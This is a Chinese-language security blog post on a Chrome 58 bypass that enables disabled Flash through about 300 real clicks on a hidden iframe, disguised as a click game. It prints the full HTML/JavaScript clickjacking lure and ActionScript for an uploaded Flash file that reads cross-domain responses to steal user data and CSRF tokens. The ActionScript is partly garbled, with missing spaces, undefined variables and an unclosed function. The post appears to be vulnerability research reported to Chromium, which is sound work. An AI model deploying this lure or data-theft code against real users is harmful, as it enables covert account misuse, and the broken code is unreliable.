Chrome Flash Player Disabled Bypass - Blog of Mathias
Blog of Mathias Web Securtiy&Deep Learning
Chrome Flash Player Disabled Bypass
发表于: | 分类: web安全 | 评论:1 | 阅读:648

Chrome 58版本在大部分情况下是禁用flash的
后来从chrome团队那里了解到,这和一个叫Site engagement score的模块有关
https://docs.google.com/document/d/1GQE9gguqVMgXvR68jZyIsBhHVoAJb9m4fTn6omfqj4M/edit#heading=h.k4pjrzlnm098
他用来给站点进行评分,当站点低于某个评分的时候flash就不会自动的执行
这个bypass可以用来在没有提示的情况打开flash
当然他们认为这只是'恰好的'阻挡了一些安全问题,不算by design的去作为一个security barrier
因此这个洞最后没有被定义为security bug
bugs.chromium.org/p/chromium/issues/detail?id=722733
当然,这个bypass最初灵感来自前段时间在微博上看到了@etherdream介绍的一个前端黑科技
在两个页面之间跳跃四次,就可以打开禁用的flash
但是事实上我和@omego还有其他人复现确认了,在chrome下用户必须通过手动输入地址的方式才能开启,使用meta,js,302都是无效的
因此我想设计一种方式,通过新建一个iframe,在里面去进行自动的跳转,观察它和一个普通的window有什么不同。
发现很好玩的是 和之前手动输入地址一样,它需要在一定需要用户的交互下才能触发
然后因为也没啥好用的fuzz工具,只有肉身测洞了
结论是,如果用js去触发click事件,那么flash永远都不会执行
在手动点击差不多300次的时候,就会没有任何提示的打开flash player
那么如何让用户点击这么多的次数呢? 完全可以参考flappy bird / frog(暴力膜一下) 的方式
让用户在玩游戏的过程中无意识的开启,也算是一种click jacking吧
利用的源代码如下

<iframe id="a" src="x.html" hidden=true></iframe>
<div id="asd" style="background:red;width:100px;height:100px;border-radius:4em;" onclick="pclick()"><center><br><h3 id="ha">click me</h3></center></div>
<br><h4 style="display:inline">after </h4><h3 id="last" style="display:inline">300</h3><h4 style="display:inline"> times , u will get my reward!</h4>
<script>
var flag=true;
var lasttime=last.innerHTML;
document.onselectstart = new Function('event.returnValue=false;');
function pclick()
{
    if(flag)
    {
        a.contentWindow.location='x.html';
        asd.style.background='green';
        lasttime=lasttime-1;
        last.innerHTML=lasttime;
        flag=false;
    }
    else
    {
        a.contentWindow.location='index.html';
        asd.style.background='red';
        lasttime=lasttime-1;
        last.innerHTML=lasttime;
        flag=true;
    }
}
</script>

a.png

当然这个bypass引发的思考就是,在目前的情况,仅仅是允许flash执行还能带来多大的危害呢?
很明显的,如果一个第三方站点使用严格白名单,只允许我们上传一个.jpg或者其他格式的文件
而没有进行内容检查的话
我们可以使用一个精心构造的flash文件去制造一个跨域的CSRF

importflash.net.URLLoader;
importflash.net.URLRequest;
importflash.net.URLLoaderDataFormat;
importflash.net.URLVariables;
importflash.events.Event;
importflash.events.HTTPStatusEvent;
importflash.events.IOErrorEvent;
importflash.events.ProgressEvent;
importflash.events.SecurityErrorEvent;
importflash.display.LoaderInfo;
importflash.system.Security;
Security.allowDomain("*");
varurlObj:Object = LoaderInfo(this.root.loaderInfo).parameters.url;
varrequest:URLRequest = new URLRequest(urlObj.toString());
request.method= URLRequestMethod.GET;
 
varloader:URLLoader = new URLLoader();
itemScroll.x= response.x+response.width;
itemScroll.y= response.y;
itemScroll.height= response.height;
 
loader.dataFormat= URLLoaderDataFormat.TEXT;
loader.addEventListener(Event.COMPLETE,loader_complete);
loader.load(request);
 
functionloader_complete (e:Event):void {
         trace("Event.COMPLETE");
         trace("Resp Data :\n" + loader.data);
         response.text = loader.data;
         itemScroll.scrollTarget = response;

这样就可以泄露用户的敏感数据,而且偷取到其CSRF Token后,以其身份进行其他操作。

只有地板了

  1. Omego Omego

    错过一顿撸串QwQ

添加新评论